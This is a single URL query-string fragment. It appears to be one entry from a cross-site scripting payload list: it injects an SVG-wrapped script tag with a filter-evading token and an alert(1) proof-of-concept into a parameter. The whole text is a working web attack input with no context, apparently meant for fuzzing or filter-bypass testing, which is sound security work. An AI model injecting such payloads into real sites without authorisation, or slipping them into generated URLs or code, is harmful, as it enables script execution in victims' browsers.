?xx=<svg><script%20>/<1/>(function(){alert(1)})()</script></svg>